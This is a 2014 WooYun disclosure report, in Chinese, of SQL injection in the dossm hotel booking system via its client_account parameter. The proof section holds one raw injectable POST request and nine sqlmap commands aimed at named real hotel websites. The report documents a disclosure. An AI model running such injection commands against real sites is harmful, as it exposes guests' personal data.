当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-080156

漏洞标题：dossm的某处sql注入可导致酒店数据泄露

相关厂商：广州问途信息技术有限公司

漏洞作者： Coody

提交时间：2014-10-20 18:31

修复时间：2015-01-18 18:32

公开时间：2015-01-18 18:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-20： 细节已通知厂商并且等待厂商处理中
2014-10-25： 厂商已经确认，细节仅向厂商公开
2014-10-28： 细节向第三方安全合作伙伴开放
2014-12-19： 细节向核心白帽子及相关领域专家公开
2014-12-29： 细节向普通白帽子公开
2015-01-08： 细节向实习白帽子公开
2015-01-18： 细节向公众公开

简要描述：

RT！

详细说明：

续 WooYun: 一个漏洞沦陷至少全国各地170家酒店及酒店集团（可查开房信息，国庆你还开房吗） 后另一种姿势泄露开房信息。
PS:国庆确定没有开房么？表骗我，一查就知道。
-------------------------------
厂商：广州问途信息技术有限公司 http://www.wintour.cn/
系统：dossm
框架：PHP + Mysql
问题参数：client_account
说明：该系统，凡是出现参数 client_account 的链接，都存在SQL注入漏洞。无论 GET or POST 类型。
具体案例可参考上一漏洞中的“影响酒店列表”部分。
-------------------------------
漏洞证明：这里举出10个案例，证明其存在SQL注入漏洞。为方便测试，除了案例1之外的都改用GET类型请求。
1# http://www.guangzhougdhhotel.com/ 广东华师粤海酒店

POST /saas/Guest/getLogin/?jsoncallback=jQuery18006111152800731361_1413790314004 HTTP/1.1
Host: www.guangzhougdhhotel.com
Proxy-Connection: keep-alive
Content-Length: 75
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Origin: http://www.guangzhougdhhotel.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.guangzhougdhhotel.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,fr;q=0.4,ja;q=0.2,ko;q=0.2,ru;q=0.2,vi;q=0.2,zh-TW;q=0.2,es;q=0.2,th;q=0.2
Cookie: dossm-id=2014102015121997406; PHPSESSID=192166fnffjmclj7usec4tmv17; think_language=zh-cn; _gat=1; compareState=Open; Hm_lvt_dd18eab5f23e44b0e822d77c32d67b9e=1411564893,1413789140; Hm_lpvt_dd18eab5f23e44b0e822d77c32d67b9e=1413790324; _ga=GA1.2.1254425558.1411564893
referer=&dossm-id=2014102015121997406&client_account=gz_hsyh*&language=zh-cn


QQ图片20141020170152.jpg


2# http://www.wuzhishanyatai.com 五指山亚泰雨林度假酒店

C:\Users\Administrator>sqlmap.py -u "http://www.wuzhishanyatai.com/saas/Guest/getLogin/?jsoncallback=jQuery191031815274455584586_1413791294237&client_account=wzs_ytyl*&code=&language=zh-cn&referer=&fields=1&_=1413791294238" --dbms=mysql --current-user --current-db


QQ图片20141020170350.jpg


3# http://www.lyhotspring.com/ 龙源温泉大酒店官方网站

C:\Users\Administrator>sqlmap.py -u "http://www.lyhotspring.com/saas/Guest/getLogin/?jsoncallback=jQuery18308396553485654294_1413791525231&client_account=hy_lyhotel*&language=zh-cn&_=1413791528664" --dbms=mysql --current-user --current-db


QQ图片20141020170647.jpg


4# http://yalongbaygolfclub.com 三亚亚龙湾高尔夫球会

C:\Users\Administrator\Desktop>sqlmap.py -u "http://yalongbaygolfclub.com/saas/Guest/getLogin/?jsoncallback=jQuery17109495638471562415_1413791869560&client_account=sy_golfclub*&referer=&dossm-id=2014102015575255163&language=zh-cn&_=1413791872350" --dbms=mysql --current-db --current-user


QQ图片20141020170853.jpg


5# http://www.sunshinehotel.com 深圳阳光酒店

C:\Users\Administrator>sqlmap.py -u "http://www.sunshinehotel.com/saas/Guest/getLogin/?jsoncallback=jQuery18306997522658202797_1413792995726&client_account=hn_xt_group*&language=zh-cn" --dbms=mysql --current-db --current-user


QQ图片20141020171035.jpg


6# http://www.themulian.com 广州木莲庄酒店官方网站心境遇自然

C:\Users\Administrator>sqlmap.py -u "http://www.themulian.com/saas/Guest/getLogin/?jsoncallback=jQuery19107581029343418777_1413793144338&client_account=gz_mlzhotel*&code=&language=zh-cn&referer=&fields=1&_=1413793144339" --dbms=mysql --current-db --current-user


QQ图片20141020171218.jpg


7# http://www.vaya-hotel.cn/ 华雅国际大酒店

C:\Users\Administrator>sqlmap.py -u "http://www.vaya-hotel.cn/saas/Guest/getLogin/?jsoncallback=jQuery180009386292030103505_1413793315607&referer=&dossm-id=2014102016215825117&client_account=hn_hy*&language=zh-cn" --dbms=mysql --current-user --current-db


QQ图片20141020171415.jpg


8# http://www.wakingtown-hotel.com 广州华金盾大酒店 官方网站

C:\Users\Administrator>sqlmap.py -u "http://www.wakingtown-hotel.com/saas/Guest/getLogin/?jsoncallback=jQuery18006759995706379414_1413793523835&referer=&dossm-id=2014102016252962149&client_account=gz_hjd*&language=zh-cn" --dbms=mysql --current-db  --current-user


QQ图片20141020171550.jpg


9# http://cnicc.com 珠海德翰大酒店_官方网站

C:\Users\Administrator>sqlmap.py -u "http://cnicc.com/saas/Guest/getLogin/?jsoncallback=jQuery17205487245253752917_1413793832228&referer=&dossm-id=2014102016303745069&client_account=zh_dehan*&language=zh-cn"  --dbms=mysql --current-db --current-user


QQ图片20141020171728.jpg


10# http://easelandhotel.com 广州逸林假日酒店官方网站

C:\Users\Administrator>sqlmap.py -u "http://easelandhotel.com/saas/Guest/getLogin/?jsoncallback=jQuery19108055493170395494_1413794067254&client_account=gz_yljrhotel*&code=&language=zh-cn&referer=&fields=1&_=1413794067255" --dbms=mysql --current-db --current-user


QQ图片20141020172128.jpg


最后，用户数据很重要，可不能轻易的泄露啊！！！！！

漏洞证明：

同上

修复方案：

版权声明：转载请注明来源 Coody@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-10-25 13:53

厂商回复：

最新状态：

暂无